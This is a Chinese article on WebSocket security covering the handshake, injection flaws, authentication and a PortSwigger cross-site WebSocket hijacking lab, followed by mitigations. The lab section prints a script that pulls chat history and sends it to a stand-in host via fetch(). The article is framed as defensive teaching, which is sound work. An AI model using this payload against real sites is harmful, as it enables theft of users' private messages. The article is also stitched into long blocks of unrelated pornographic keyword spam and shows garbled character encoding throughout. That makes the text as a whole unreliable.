精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

WebSocket安全性分析,你看懂了嗎?

安全 應用安全
如果客戶端發(fā)來的 Origin 信息來自不同域,服務器端可以拒絕該請求。但是僅僅檢查 Origin 仍然是不夠安全的,惡意網(wǎng)頁可以偽造Origin頭信息,繞過服務端對Origin頭的檢查,更完善的解決方案可以借鑒CSRF的解決方案-令牌機制。

websocket簡介

WebSocket 是HTML5一種新的網(wǎng)絡傳輸協(xié)議,位于 OSI 模型的應用層,可在單個TCP連接上進行全雙工通信。WebSocket 建議于 TCP 協(xié)議之上,與 HTTP 協(xié)議有良好的兼容性。協(xié)議標識符是ws;如果加密,則為wss。

WebSocket與HTTP的區(qū)別

HTTP協(xié)議時請求-響應式的,一般是一個請求建立一次握手,在HTTP1.1版本開始,TCP連接可別復用。

HTTP協(xié)議只能由客戶端發(fā)送信息到服務端,服務端做出響應。

WebSocket通信是雙向的,既可以由客戶端發(fā)送信息,到服務端。也可以有服務端發(fā)送信息到客戶端。

WebSocket通信建立過程

websocket通常是由客戶端JavaScript腳本創(chuàng)建

var ws = new WebSocket("wss://normal-website.com/chat");

為了建立連接,會通過HTTP協(xié)議發(fā)送一個請求,告訴服務器接下來要使用websocket進行通信,如果服務器同意請求,接下來就會進行三次握手。

1686294004_6482cdf4d2e772119d075.png!small?16862940055901686294004_6482cdf4d2e772119d075.png!small?1686294005590


WebSocket 握手消息的幾個特性值得注意:

請求和響應中 的Connection和Upgrade標頭表明這是一次 WebSocket 握手。

Sec-WebSocket-Version請求頭指定WebSocket協(xié)議版本的客戶端希望使用。通常是13.

Sec-WebSocket-Key請求報頭包含Base64編碼的隨機值,這應該在每個握手請求是隨機產(chǎn)生的。并不是用于身份認證的。

Sec-WebSocket-Accept響應報頭包含在提交的值的散列Sec-WebSocket-Key請求頭,具有在協(xié)議規(guī)范中定義的特定的字符串串聯(lián)。這樣做是為了防止錯誤配置的服務器或緩存代理導致誤導性響應。

三次握手以后表示建立了客戶端與服務端建立websocket連接,可以通過websocket協(xié)議進行通信。

ws.send("hello websocket");

由于TCP協(xié)議是復用的,所以可以通過一次連接,發(fā)送多個信息。

1686294062_6482ce2ed13a9aa6a4f99.png!small?16862940634481686294062_6482ce2ed13a9aa6a4f99.png!small?1686294063448

原則上,WebSocket 消息可以包含任何內(nèi)容或數(shù)據(jù)格式。在現(xiàn)代應用程序中,通常使用 JSON 在 WebSocket 消息中發(fā)送結構化數(shù)據(jù)。

WebSocket使用場景

基于WebSocket全雙工、延遲的特性,應用場景比較廣泛。

  • 聊天
  • 彈幕
  • 協(xié)同編輯
  • 股票報價實施更新
  • 位置更新
  • 直播實況段落的首行要

WebSocket安全性分析

websocket僅僅是web程序中的一種通信協(xié)議,并不會解決web應用中存在的安全問題。因此在HTTP協(xié)議中出現(xiàn)的安全問題在websocket中都可能出現(xiàn)。

目前對于HTTP協(xié)議的漏洞已經(jīng)很少了,可以去看看websocket協(xié)議的,說不定會有意想不到的發(fā)現(xiàn)。

1.常規(guī)漏洞

WebSocket中,用戶輸入可控的請求數(shù)據(jù),數(shù)據(jù)被服務端進行處理,如果沒有進行有限的校驗,可能出現(xiàn)常見的Web漏洞,如XSS、SQL Inject、RCE等。

如下圖,正常發(fā)送會發(fā)現(xiàn)進行編碼

1686294500_6482cfe4560a520b4223c.png!small?16862945010181686294500_6482cfe4560a520b4223c.png!small?1686294501018

可以直接抓包重放,改變值,成功利用。實際上跟http協(xié)議沒有什么區(qū)別。

1686294509_6482cfed974210c835d07.png!small?16862945103491686294509_6482cfed974210c835d07.png!small?1686294510349

2.權限

認證

websocket協(xié)議沒有規(guī)定在服務器在握手階段應該如何認證客戶端身份。服務器可以采用任何 HTTP 服務器的客戶端身份認證機制,如 cookie認證,HTTP 基礎認證,TLS 身份認證等。

因此,認證實現(xiàn)方面的安全問題與基于HTTP的Web認證并無區(qū)別。

如CVE-2015-0201,Spring框架的Java SockJS客戶端生成可預測的會話ID,攻擊者可利用該漏洞向其他會話發(fā)送消息

授權

WebSocket 協(xié)議依然沒有指定任何授權方式,因此關于權限的相關策略依然得依賴開發(fā)者在服務端實現(xiàn),這就說明通過websocket協(xié)議與傳統(tǒng)的http協(xié)議面臨相同的安全風險,如垂直越權和水平越權。

3.基于webSocket的CSRF漏洞(跨域請求/CSWSH)

該漏洞全稱叫做Cross-site WebSocket Hijacking,跨站點WebSocket劫持漏洞。當WebSocket握手請求僅依靠HTTP cookie進行會話處理并且不包含任何CSRF token或其他不可預測的值時,就會出現(xiàn)這種漏洞。

判斷websocket中是否存在跨域問題

檢查應用程序執(zhí)行的WebSocket握手過程是否針對CSRF進行了保護。除了在cookie中該消息不依賴其它的值進行會話處理。如下面的請求僅僅依靠session token來進行會話處理,那么就會存在這種漏洞。

1686294535_6482d00739e9ede4566c2.png!small?16862945360471686294535_6482d00739e9ede4566c2.png!small?1686294536047

通過portSwigger的靶場進行復現(xiàn)

Lab: Cross-site WebSocket hijacking

在live chat中首先驗證websocket是否存在csrf。可以看到僅僅依靠cookie來進行會話處理,說明存在漏洞

1686294558_6482d01e0724a95846cbd.png!small?16862945586941686294558_6482d01e0724a95846cbd.png!small?1686294558694

在確認存在這個漏洞以后,我們就要去編寫我們的payload,首先我們發(fā)現(xiàn)在建立websocket連接以后,發(fā)送READY字符串,服務端就會把歷史聊天記錄返回,那么我們就通過這種方式去利用。

1686294563_6482d023a161e00440e69.png!small?16862945644151686294563_6482d023a161e00440e69.png!small?1686294564415

首先通過new websocket與服務端建立連接,然后通過ws.send('READY')像服務端發(fā)送READY。當服務端收到READY字符串時,就會把歷史的聊天記錄返回回來。這個js收到歷史記錄以后就可以訪問burp的collaborator并帶著敏感數(shù)據(jù)。

payload如下:

<script>
// Create WebSocket connection.
var ws = new WebSocket("wss://web-security-academy.net/chat");
// Connection opened
ws.addEventListener('open', function (event) {
ws.send('READY');
});
// Listen for messages
ws.onmessage = function(event) {
fetch('https://you-site.net/?log'+event.data, {mode: 'no-cors'})
};
</script>

在portSwigger的exploit server中設置自己的payload

1686294605_6482d04dba51aab951f35.png!small?16862946064351686294605_6482d04dba51aab951f35.png!small?1686294606435


設置好payload,然后讓登錄的瀏覽器去訪問。在這個靶場也就是點擊Deliver exploit to victim

1686294621_6482d05d0608dbe4d74c2.png!small?16862946215811686294621_6482d05d0608dbe4d74c2.png!small?1686294621581

然后再burp上就可以看到信息

1686294630_6482d0667a6b0b8527711.png!small?16862946311051686294630_6482d0667a6b0b8527711.png!small?1686294631105

這種漏洞的一種修復方式就是在服務端驗證Origin頭,如果客戶端發(fā)來的 Origin 信息來自不同域,服務器端可以拒絕該請求。但是僅僅檢查 Origin 仍然是不夠安全的,惡意網(wǎng)頁可以偽造Origin頭信息,繞過服務端對Origin頭的檢查,更完善的解決方案可以借鑒CSRF的解決方案-令牌機制。

websocket安全問題如何預防


  • 正確驗證輸入輸出的數(shù)據(jù),跟http協(xié)議一樣
  • 使用CSRF Token、請求頭令牌等方案保護WebSocket握手流程,防止WebSocket握手流程被CSRF攻擊所利用。
  • 使用wss://協(xié)議,(基于TLS的Websockets)
  • 在服務器進行授權,防止越權的產(chǎn)生。

參考鏈接

https://www.freebuf.com/articles/web/336291.html

https://security.tencent.com/index.php/blog/msg/119

https://freebuf.com/vuls/328279.html


責任編輯:武曉燕 來源: ???FreeBuf.COM
相關推薦

2022-06-28 08:42:03

磁盤kafka高性能

2024-08-12 12:30:27

2024-04-29 09:25:19

2022-03-18 00:17:30

NISTICS安全

2022-11-28 07:10:57

2024-03-05 18:19:07

localhostLinux數(shù)據(jù)庫

2024-09-29 08:47:55

2024-05-17 09:44:49

Kubernetes均衡器Envoy

2021-04-26 10:30:43

USB4設備Thunderbolt

2009-11-23 09:07:14

2024-09-10 10:21:19

2018-01-04 00:10:52

物聯(lián)網(wǎng)技術信息

2023-10-16 08:14:21

AI安全數(shù)據(jù)

2024-08-26 11:48:36

2021-10-28 19:35:02

代碼main方法

2019-11-20 15:40:48

CPU軟件處理器

2021-10-10 20:36:49

Android Root權限

2013-01-24 16:46:23

2015-06-15 10:48:25

2009-10-15 10:28:42

點贊
收藏

51CTO技術棧公眾號

亚洲欧洲性图库| 免费成人性网站| 亚洲欧洲在线看| 看看黄色一级片| www视频在线观看| 欧美极品美女视频| 96精品久久久久中文字幕| 在线看成人av| 91综合在线| 亚洲国产精品热久久| 污污动漫在线观看| segui88久久综合9999| 国产精品女人毛片| 成人av电影免费| 亚洲视屏在线观看| 亚洲第一毛片| 欧美裸体男粗大视频在线观看| 亚洲精品视频大全| 亚洲日本一区二区三区在线| 欧美性猛片aaaaaaa做受| 日本免费a视频| 999在线视频| 91免费看片在线观看| 亚洲aⅴ日韩av电影在线观看| 日韩精品久久久久久免费| 欧美91视频| 色综合亚洲精品激情狠狠| 国产又黄又粗又猛又爽的视频| 自拍偷拍亚洲图片| 欧美伊人久久久久久久久影院 | 无需播放器亚洲| 亚洲女人天堂视频| 成熟妇人a片免费看网站| 亚洲精品成a人ⅴ香蕉片| 一本到一区二区三区| 国产 日韩 欧美在线| 成人日韩欧美| 国产精品国产精品国产专区不片| 久久久婷婷一区二区三区不卡| www.蜜桃av.com| 韩国女主播成人在线| 国产精品pans私拍| 手机在线看片1024| 国产精品婷婷| 911国产网站尤物在线观看| 免费在线看黄网址| 欧美国内亚洲| 久久久久久久久国产| 亚洲国产美女视频| 午夜av一区| 久久久999精品视频| 国产传媒在线看| 欧美中文一区二区| 亚洲天堂精品在线| 国产一区二区三区四区五区六区| 亚洲精品一级二级三级| 精品中文视频在线| 特大黑人巨人吊xxxx| 欧美日韩麻豆| 亚洲少妇激情视频| 成人在线手机视频| 日韩片欧美片| 久久视频这里只有精品| 朝桐光av在线| 欧美久久一级| 91精品国产色综合| 极品国产91在线网站| 青青草国产成人99久久| 国产精品一区二区三区在线播放| 亚洲视频在线观看一区二区| 久久99精品一区二区三区三区| 亚洲aa在线观看| 亚洲欧美激情国产综合久久久| 成人免费的视频| 免费在线一区二区| 在线看黄色av| 亚洲一区在线观看视频| 自慰无码一区二区三区| 91看片一区| 欧美电影一区二区三区| 四虎精品一区二区| 最新亚洲精品| 久久精品视频免费播放| 国产一级在线视频| 久热国产精品| 91在线高清视频| 天天干,夜夜操| 国产日产精品一区| 国产精品久久久影院| 日本不良网站在线观看| 欧美视频中文字幕| 国产精久久久久| 国内成人自拍| 欧美丰满少妇xxxxx| 毛片毛片女人毛片毛片| 久久黄色级2电影| 国产一区二区三区奇米久涩| 国产人成在线观看| 夜色激情一区二区| 五月婷婷深爱五月| 超碰成人在线观看| 色先锋资源久久综合5566| 97人人澡人人爽人人模亚洲 | 国产精品国产自产拍高清av水多| av综合在线观看| 久久久久久久av麻豆果冻| 天堂av免费看| 自拍偷自拍亚洲精品被多人伦好爽| 欧美视频你懂的| xxxxxx黄色| 亚洲字幕久久| 国产精品久久久久久久久久| 国产综合视频在线| 国产精品免费视频观看| 免费无遮挡无码永久视频| 日日夜夜综合| 一区二区三区天堂av| 黄色激情视频在线观看| 韩日欧美一区二区三区| 视频一区二区精品| 天堂а√在线最新版中文在线| 欧美一区二区三区男人的天堂| 国产一二三四区在线| 夜夜夜久久久| 国产精品毛片va一区二区三区| 国产午夜精品久久久久免费视| 色欧美片视频在线观看 | 波多野结衣在线一区二区| 精品国产一区二区三区在线观看 | 日韩中文字幕在线观看视频| 国产精品性做久久久久久| 一区二区三区我不卡| 国产麻豆久久| 亚洲色图美腿丝袜| 久久久久女人精品毛片九一| 丁香啪啪综合成人亚洲小说| 日本女人高潮视频| 色成人综合网| 久久精品国产精品亚洲| 中文字幕一区二区三区人妻四季 | 国产精品成人aaaa在线| 国产精品一二三| 亚洲精品国产suv一区88| 成人黄色91| 精品国偷自产在线视频| 国产精品视频第一页| 最近日韩中文字幕| 杨幂一区二区国产精品| 亚洲九九视频| 99re在线视频观看| 国产福利在线免费观看| 亚洲国产精品免费| 天堂中文字幕在线观看| 91蝌蚪porny九色| 日韩毛片在线免费看| 国产日产一区| 国产精品高潮呻吟久久av无限| av在线天堂播放| 欧美高清视频在线高清观看mv色露露十八| 毛片视频免费播放| 国产一区在线看| 国产亚洲黄色片| 色爱综合av| 国产成人一区二区三区| 9i精品一二三区| 欧美一区二区三区思思人| 久久久久无码国产精品不卡| 成人黄色综合网站| 成人羞羞国产免费网站| 日韩中文首页| 国产精品一区二区免费看| 女厕盗摄一区二区三区| 国产一区二区三区免费视频| 国产普通话bbwbbwbbw| 亚洲一区二区三区四区在线观看 | 波多野结衣国产精品| 一区二区蜜桃| 精品视频在线观看| 成人亚洲综合| 欧美激情亚洲综合一区| 飘雪影院手机免费高清版在线观看| 欧美三级视频在线观看| 欧美精品久久久久性色| 26uuu久久综合| 日本不卡一区二区在线观看| 欧美日韩国产在线一区| 欧美日韩在线一二三| 国产精品成人**免费视频| 97在线视频免费| 色多多视频在线观看| 亚洲国产成人爱av在线播放| 一区二区自拍偷拍| 亚洲国产视频网站| 日本一卡二卡在线播放| 成人精品一区二区三区中文字幕| 中文字幕欧美人妻精品一区| 欧美xxx在线观看| 日韩电影大全在线观看| 成人性生交大片免费看96| 国产精品久久久久久搜索 | 一区二区三区四区精品在线视频| 日本xxx在线播放| 国产精品综合av一区二区国产馆| 99色精品视频| 精品91在线| 日本xxx免费| 成人久久电影| 久久精品国产99精品国产亚洲性色| 亚洲成人1区| 日韩av电影院| av资源在线播放| 久久成人精品视频| 91在线看黄| 亚洲片在线观看| 同心难改在线观看| 欧美成人一区二区三区片免费 | 亚洲日韩第一页| 国产77777| 欧美一级日韩免费不卡| 瑟瑟视频在线免费观看| 欧美日韩亚洲国产一区| 国产亚洲自拍av| 伊人色综合久久天天人手人婷| 亚洲一级黄色录像| 久久综合99re88久久爱| 亚洲天堂av网站| 国产91丝袜在线播放九色| 一区二区三区四区毛片| 男男视频亚洲欧美| 成人免费无码av| 久久久精品日韩| 国产成人无码精品久久久性色| 欧美日韩国产精品一区二区亚洲| 中文字幕成人一区| 久久中文字幕二区| 日韩久久久久久久| 精品国产一区二区三区久久久蜜臀| 久久久久高清| 婷婷激情久久| 久久艳妇乳肉豪妇荡乳av| 欧美日韩一区二区三区四区不卡| 国产乱码精品一区二区三区卡| 中文一区二区三区四区| 91九色对白| ccyy激情综合| 国产精品区一区二区三在线播放| 91精品国产自产精品男人的天堂| 91原创国产| 精品国产影院| 狼狼综合久久久久综合网| 欧美日韩另类图片| 欧美男人的天堂| av影片在线一区| 亚洲一二三区精品| 久久久久久免费视频| 可以在线看黄的网站| 海角社区69精品视频| 亚洲国产精品成人天堂| 亚洲尤物精选| 超碰av在线免费观看| 精品一区二区三区视频在线观看| 一级黄色免费毛片| 成人av在线电影| 国产成人无码精品久久二区三| 欧美国产日韩一二三区| 久久av红桃一区二区禁漫| 亚洲黄色性网站| 国产超碰人人爽人人做人人爱| 欧美性生活影院| 国内毛片毛片毛片毛片| 亚洲第一精品福利| 可以直接在线观看的av| 色悠悠久久88| segui88久久综合| 日本不卡高字幕在线2019| 欧美xnxx| 国产精品免费观看高清| 国产一区2区| 一本—道久久a久久精品蜜桃| 在线视频观看日韩| 成人免费xxxxx在线视频| 国产真实精品久久二三区| 亚洲精品久久一区二区三区777| 久久蜜桃av一区二区天堂| 免费成人美女女在线观看| 亚洲国产精品久久人人爱 | 美女在线视频免费| 国产精品综合久久久| 国产精品色呦| 亚洲人成网站在线观看播放| 国产精品啊啊啊| av免费网站观看| 风间由美一区二区三区在线观看| 久操视频免费看| 亚洲综合丝袜美腿| 波多野结衣网站| 精品欧美一区二区在线观看| av在线资源网| 欧美在线激情网| 亚洲午夜精品| 中文字幕在线观看一区二区三区| 国产一区二区三区的电影| 午夜一区二区视频| 久久精品亚洲麻豆av一区二区| 欧美黑吊大战白妞| 欧美视频一区二| 四虎在线观看| 欧美日韩福利视频| 欧美亚洲福利| 日韩欧美亚洲日产国产| 亚洲三级电影在线观看| 午夜天堂在线视频| 国产偷国产偷亚洲高清人白洁 | a级在线观看| 国产精品久久婷婷六月丁香| 红杏视频成人| 日本wwwcom| 国产在线不卡视频| 91禁男男在线观看| 在线观看亚洲a| 四虎影视2018在线播放alocalhost| 欧美成人免费全部| 台湾天天综合人成在线| 色999五月色| 久久综合图片| 欧美熟妇一区二区| 欧美午夜性色大片在线观看| 丰满熟妇人妻中文字幕| 久久国产精品久久精品| 日韩毛片免费看| 亚洲一区免费看| 精品一区二区三区免费播放| 色噜噜噜噜噜噜| 欧美日韩精品一区视频| avav免费在线观看| 国产乱人伦真实精品视频| 精品日韩一区| 日本激情视频在线| 国产日韩欧美高清在线| 日日夜夜操视频| 亚洲天堂第二页| 久草综合在线| 性欧美18一19内谢| 国产精品乡下勾搭老头1| 激情四射综合网| 欧美videofree性高清杂交| 日皮视频在线观看| 国产在线精品日韩| 亚洲国产99| 免费在线观看你懂的| 在线视频亚洲一区| 思思99re6国产在线播放| 成人福利视频在线观看| 亚洲免费二区| 美女搡bbb又爽又猛又黄www| 亚洲6080在线| 久草在线青青草| 国产日韩在线视频| 欧美fxxxxxx另类| 国产精品无码电影| 色成年激情久久综合| av国产在线观看| 亚洲综合日韩在线| 亚洲午夜在线| 少妇真人直播免费视频| 欧美午夜免费电影| 操你啦视频在线| 国产美女99p| 日韩av在线播放中文字幕| 情侣偷拍对白清晰饥渴难耐| 精品乱人伦小说| 亚洲成人av观看| 中文字幕精品在线播放| 不卡视频在线看| 嫩草影院一区二区三区| 另类少妇人与禽zozz0性伦| 国产精品香蕉| 日本久久久久久久久久久久| 一区二区三区免费在线观看| 香蕉视频免费看| 国产在线播放91| 99精品热6080yy久久| 色噜噜噜噜噜噜| 亚洲国产精品va在线看黑人| 性欧美videohd高精| 福利在线小视频| 久久久无码精品亚洲日韩按摩| 91国内精品视频| 欧美在线观看网址综合| 天天天综合网| 日本一区二区三区网站| 欧美夫妻性生活| 丝袜诱惑一区二区| 中文字幕一区二区三区四区五区人| 91香蕉视频污| 国产黄色一区二区| 国产精品久久久久久超碰| 激情六月综合| 亚洲一区电影在线观看| 亚洲欧美精品中文字幕在线|